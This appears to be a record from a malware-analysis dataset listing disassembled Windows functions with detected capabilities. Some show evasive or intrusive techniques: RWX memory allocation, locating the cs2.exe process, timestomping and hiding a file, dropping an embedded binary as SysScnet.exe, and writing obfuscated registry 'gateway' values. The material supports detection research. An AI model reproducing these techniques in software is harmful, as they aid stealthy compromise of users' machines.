joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800423e0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rdi, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rsp + 0x28]
cmp rdi, 0x40000000
jbe 0x18004241b
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rsi, qword [0x180138aa8]
lea r15, [rdi + 0x40000000]
cmp qword [rsp + 0x30], r15
cmovbe r15, qword [rsp + 0x30]
sub r15, 0xfff
test rsi, rsi
je 0x18004245d
cmp rsi, r14
jb 0x180042455
cmp rsi, r15
jae 0x180042455
cmp qword [rsi + 8], 0
jne 0x18004261d
mov rsi, qword [rsi]
test rsi, rsi
jne 0x180042440
mov qword [rsp + 0xa0], rbx
mov rbx, rdi
mov qword [rsp + 0xa8], rbp
cmp rdi, r14
jb 0x1800424e2
nop word [rax + rax]
mov ebp, dword [rsp + 0x48]
mov rax, rbx
xor edx, edx
div rbp
sub rbx, rdx
sub rbx, rbp
cmp rbx, r14
jb 0x1800424d9
nop word [rax + rax]
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800424d9
cmp dword [rsp + 0x70], 0x10000
je 0x18004255b
mov rbx, qword [rsp + 0x58]
cmp rbx, rbp
jb 0x1800424d9
sub rbx, rbp
cmp rbx, r14
jae 0x1800424a0
test rsi, rsi
jne 0x1800425c6
cmp rdi, r15
ja 0x18004260d
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
xor edx, edx
mov rax, rdi
mov ebx, ebp
div rbp
mov eax, ebp
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r15
ja 0x18004260d
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18004260d
cmp dword [rsp + 0x70], 0x10000
je 0x180042594
xor edx, edx
lea edi, [rbp - 1]
add rdi, qword [rsp + 0x68]
add rdi, qword [rsp + 0x50]
mov rax, rdi
div rbx
sub rdi, rdx
cmp rdi, r15
jbe 0x180042512
jmp 0x18004260d
test rbx, rbx
je 0x1800424d9
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1800425c6
cmp rbx, r14
jae 0x180042480
jmp 0x1800424e2
test rdi, rdi
je 0x18004260d
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1800425c6
cmp rdi, r15
jbe 0x1800424f0
jmp 0x18004260d
xor eax, eax
lea rcx, [rsi + 0x40]
mov rdx, rcx
mov qword [rsi + 8], rax
sub rdx, rsi
mov dword [rsi + 0x10], eax
nop dword [rax]
mov rax, qword [rsi + 8]
add rdx, 0x40
mov qword [rcx], rax
mov qword [rsi + 8], rcx
add rcx, 0x40
cmp rdx, 0xfc0
jbe 0x1800425e0
mov rax, qword [0x180138aa8]
mov qword [rsi], rax
mov qword [0x180138aa8], rsi
mov rbp, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov rax, rsi
mov rsi, qword [rsp + 0xb0]
add rsp, 0x80
pop r15
pop r14
pop rdi
ret
Function at 0x1400031d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140026040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400031fd
xor eax, eax
jmp 0x140003369
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003237
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140003237
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140003369
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000335c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000327a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400032a5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003361
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003314
sub eax, 1
je 0x140003314
cmp eax, 2
jne 0x14000335c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003361
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003342
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000335c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140003361
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14001aab0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400042b0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140026040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140004383
cmp byte [rcx + 0x71], 0
je 0x140004383
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000437f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140004344
sub eax, 1
je 0x140004348
cmp eax, 2
jne 0x14000437f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14001aab0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140004376
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000437f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000432c
xor al, al
jmp 0x14000432c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14001aab0
add rsp, 0x60
pop rbx
ret
Function at 0x14001a240
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [0x140026040]
xor rax, rsp
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor esi, esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], si
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea r9d, [rsi - 1]
lea r8, str.cs2.exe
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
test eax, eax
jle 0x14001a367
mov r8, qword [rsp + 0x40]
cmp rbx, r8
ja 0x14001a2df
lea rax, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rax, qword [rsp + 0x30]
mov qword [rsp + 0x40], rbx
mov word [rax + rbx*2], si
jmp 0x14001a333
mov rdx, rbx
sub rdx, r8
mov rdi, qword [rsp + 0x48]
mov rax, rdi
sub rax, r8
cmp rdx, rax
ja 0x14001a326
mov qword [rsp + 0x40], rbx
lea r9, [rsp + 0x30]
cmp rdi, 7
cmova r9, qword [rsp + 0x30]
lea rdi, [r9 + r8*2]
test rdx, rdx
je 0x14001a31b
movzx eax, si
mov rcx, rdx
rep stosw word [rdi], ax
lea rax, [r8 + rdx]
mov word [r9 + rax*2], si
jmp 0x14001a333
mov r9, rdx
lea rcx, [rsp + 0x30]
call fcn.14001a850
lea rax, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rax, qword [rsp + 0x30]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, str.cs2.exe
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0x54]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14001a3ef
lea rdi, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x7c]
sub rdi, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + rdi]
sub edx, ecx
jne 0x14001a3d3
add rax, 2
test ecx, ecx
jne 0x14001a3c0
test edx, edx
je 0x14001a3eb
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14001a3a1
jmp 0x14001a3ef
mov esi, dword [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x14001a43e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a439
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a439
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001ad54
mov eax, esi
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.14001aab0
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14001a470
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x150
mov rax, qword [0x140026040]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor esi, esi
mov edi, edx
mov ebx, esi
nop word [rax + rax]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], esi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [rsp + 0x20], edi
jne 0x14001a4f4
mov r8d, 0x104
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x14001a4f4
cmp byte [rsp + 0x30], sil
jne 0x14001a520
test rbx, rbx
jne 0x14001a4a0
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.14001aab0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov rax, rbx
jmp 0x14001a4fb

Function at 0x14001b4d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001b51a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001b51a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001b51a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001b51a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001b51a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001b51c
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rax - 0x28], rsi
lea r8d, [rsi + 3]
mov dword [rax - 0x30], 0x2000000
mov dword [rax - 0x38], r8d
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001046
xor eax, eax
jmp 0x1400010e6
mov eax, 0x7da
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], ax
mov eax, 0xb
mov word [rsp + 0x44], si
mov word [rsp + 0x42], ax
mov eax, 0x15
mov word [rsp + 0x4e], si
mov word [rsp + 0x46], ax
mov eax, 0x12
mov word [rsp + 0x48], ax
mov eax, 7
mov word [rsp + 0x4a], ax
mov eax, 5
mov word [rsp + 0x4c], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov esi, 1
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x68]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [rsi + 1]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x1400010f8
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
lea rsi, [0x140004240]
mov edi, 0x104
xor edx, edx
mov rcx, rsi
mov r8, rdi
call sub.MSVCR90.dll_memset
mov edx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rbx, [0x140004130]
mov r8, rdi
mov rcx, rbx
xor edx, edx
call sub.MSVCR90.dll_memset
xor ecx, ecx
mov al, byte [rcx + rsi]
mov byte [rcx + rbx], al
inc rcx
test al, al
jne 0x140001141
xor eax, eax
or rdx, 0xffffffffffffffff
mov rdi, rbx
mov rcx, rdx
lea r8d, [rdx + 2]
repne scasb al, byte [rdi]
movzx eax, word [0x140003288]
mov rcx, rdx
mov word [rdi - 1], ax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
mov rax, qword [str.SysScnet.exe]
lea ecx, [r8 + 0x66]
mov qword [rdi - 1], rax
mov eax, dword [0x140003280]
mov rdx, rbx
mov dword [rdi + 7], eax
mov al, byte [0x140003284]
mov byte [rdi + 0xb], al
call fcn.1400015a0
test eax, eax
je 0x1400011aa
mov rcx, rbx
call section..text
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000126c
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov rax, rsp
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
mov dword [rax + 0x10], 0x4e34
lea rax, [rax + 0x20]
and dword [rax - 0x18], ebx
lea edi, [rbx + 4]
lea rdx, section..data
mov dword [rax - 8], edi
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400013fb
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [0x140003328]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400013fb
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
lea rsi, str.VERSION_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001357
mov eax, dword [rsp + 0x58]
lea ebx, [rdi - 3]
cmp dword [rsp + 0x50], eax
je 0x1400013fb
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
mov r9d, edi
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call fcn.1400010f8
jmp 0x140001383
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
mov r9d, edi
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call fcn.1400010f8
mov ebx, 1
lea rdx, str.qa_i4420_fqpn7__k1_14..__kk_21103446_bq43bcobc
xor eax, eax
or rsi, 0xffffffffffffffff
mov rdi, rdx
mov rcx, rsi
mov r9d, ebx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
sub rcx, rbx
add ecx, ebx
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rdx
lea rdx, str.GATEWAY1_Value
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rdx, str.ff3487rbea4775grsn9_.uvu_a35_7754_bml_22114i81
xor eax, eax
mov rdi, rdx
mov rcx, rsi
mov r9d, ebx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
sub rcx, rbx
add ecx, ebx
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rdx
lea rdx, str.GATEWAY2_Value
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000140b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret

Function at 0x14000141c
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x28
call fcn.140001418
lea rcx, [0x140003338]
mov edx, 1
call fcn.1400011bc
call fcn.14000126c
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001444
Capabilities:
Delete file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
movsxd rsi, r8d
mov rbp, rdx
mov rbx, rcx
xor edi, edi
call qword [sym.imp.MSVCR90.dll_remove]
lea rdx, [0x14000334c]
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_fopen]
mov rbx, rax
cmp rax, rdi
je 0x1400014ab
lea r12d, [rdi + 1]
mov r8, rsi
mov r9, rax
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.MSVCR90.dll_fwrite]
mov rcx, rbx
cmp eax, esi
cmove edi, r12d
call qword [sym.imp.MSVCR90.dll_fclose]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x1400014c8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov ebx, ecx
xor ecx, ecx
mov r13, r8
mov rdi, rdx
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rbx
mov r8, rdi
mov rcx, rax
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
cmp rax, r12
je 0x140001582
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
mov rcx, rbp
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test esi, 0x1ff
mov dword [r13], esi
setne r12b
mov rdi, rax
mov eax, esi
shr eax, 9
add r12d, eax
shl r12d, 9
mov ecx, r12d
mov ebx, r12d
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
mov r8, rbx
xor edx, edx
mov rcx, rax
mov r12, rax
call sub.MSVCR90.dll_memset
mov r8, rsi
mov rdx, rdi
mov rcx, r12
call sub.MSVCR90.dll_memcpy
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rax, r12
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x1400015a0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x260
mov rax, qword [0x140004108]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r12d, ecx
mov edi, r8d
mov rsi, rdx
mov ebp, 0x103
lea rcx, [rsp + 0x141]
xor ebx, ebx
mov r8, rbp
xor edx, edx
mov byte [rsp + 0x140], bl
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x31]
mov r8, rbp
xor edx, edx
mov byte [rsp + 0x30], bl
call sub.MSVCR90.dll_memset
cmp edi, ebx
jne 0x14000166d
lea edx, [rbp + 1]
lea rcx, [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov rdx, rbx
lea ebp, [rbx + 1]
mov al, byte [rsp + rdx + 0x140]
mov byte [rsp + rdx + 0x30], al
add rdx, rbp
cmp al, bl
jne 0x14000161e
xor eax, eax
or rdx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
mov rcx, rdx
repne scasb al, byte [rdi]
movzx eax, word [0x140003288]
mov rcx, rdx
sub rdi, rbp
mov word [rdi], ax
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
sub rdi, rbp
xor ecx, ecx
mov al, byte [rsi + rcx]
mov byte [rdi + rcx], al
add rcx, rbp
test al, al
jne 0x14000165e
jmp 0x140001686
lea rdx, [rsp + 0x30]
mov ebp, 1
sub rdx, rsi
mov al, byte [rsi]
mov byte [rdx + rsi], al
add rsi, rbp
cmp al, bl
jne 0x14000167a
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
mov ecx, r12d
mov dword [rsp + 0x20], ebx
call fcn.1400014c8
mov rdi, rax
cmp rax, rbx
je 0x1400016c5
mov r8d, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.140001444
mov rcx, rdi
cmp eax, ebx
cmovne ebx, ebp
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001790
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x140001bd7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140004108]
jne 0x1400017aa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400017a6
repz ret
ror rcx, 0x10
jmp 0x140001b30
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140004420]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140004518]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001bb5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140004420]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001bd7
mov rax, qword [rsp + 0x88]
mov qword [0x140004518], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400044b8], rax
mov rax, qword [0x140004518]
mov qword [0x140004390], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400044a0], rax
mov dword [0x140004380], 0xc0000409
mov dword [0x140004384], 1
mov rax, qword [0x140004108]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140004110]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140004418], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140003360]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140004418], 0
jne 0x140001c5e
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400018b0
Capabilities:
Read file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
lea rcx, [rcx + 0x70]
lea rdx, [0x140019129]
call fcn.1400043b0
mov rbp, rax
test rax, rax
je 0x1400019e0
mov edx, dword [r12 + 4]
xor r8d, r8d
add edx, dword [rbx]
mov rcx, rax
call fcn.14000f320
test eax, eax
js 0x1400019c0
mov esi, dword [r12 + 0xc]
mov rcx, rsi
call sub.msvcrt.dll_malloc
mov r13, rax
test rax, rax
je 0x1400019f6
cmp byte [r12 + 0x10], 1
je 0x1400019a0
mov rdi, rax
test rsi, rsi
jne 0x140001938
jmp 0x140001980
add rdi, rbx
sub rsi, rbx
je 0x140001980
mov ebx, 0x2000
mov r9, rbp
mov r8d, 1
mov rcx, rdi
cmp rsi, rbx
cmovbe rbx, rsi
mov rdx, rbx
call sub.msvcrt.dll_fread
test rax, rax
jne 0x140001930
lea r8, [r12 + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_read_data_chunk__n
lea rcx, str.fread
call fcn.140002d90
mov rcx, r13
call sub.msvcrt.dll_free
xor r13d, r13d
mov rcx, rbp
call sub.msvcrt.dll_fclose
mov rax, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor r8d, r8d
mov r9, rax
mov rdx, r12
mov rcx, rbp
call fcn.140001490
test eax, eax
je 0x140001980
jmp 0x140001975
lea r8, [r12 + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_seek_to_the_entrys_data__n
lea rcx, str.fseek
call fcn.140002d90
jmp 0x14000197d
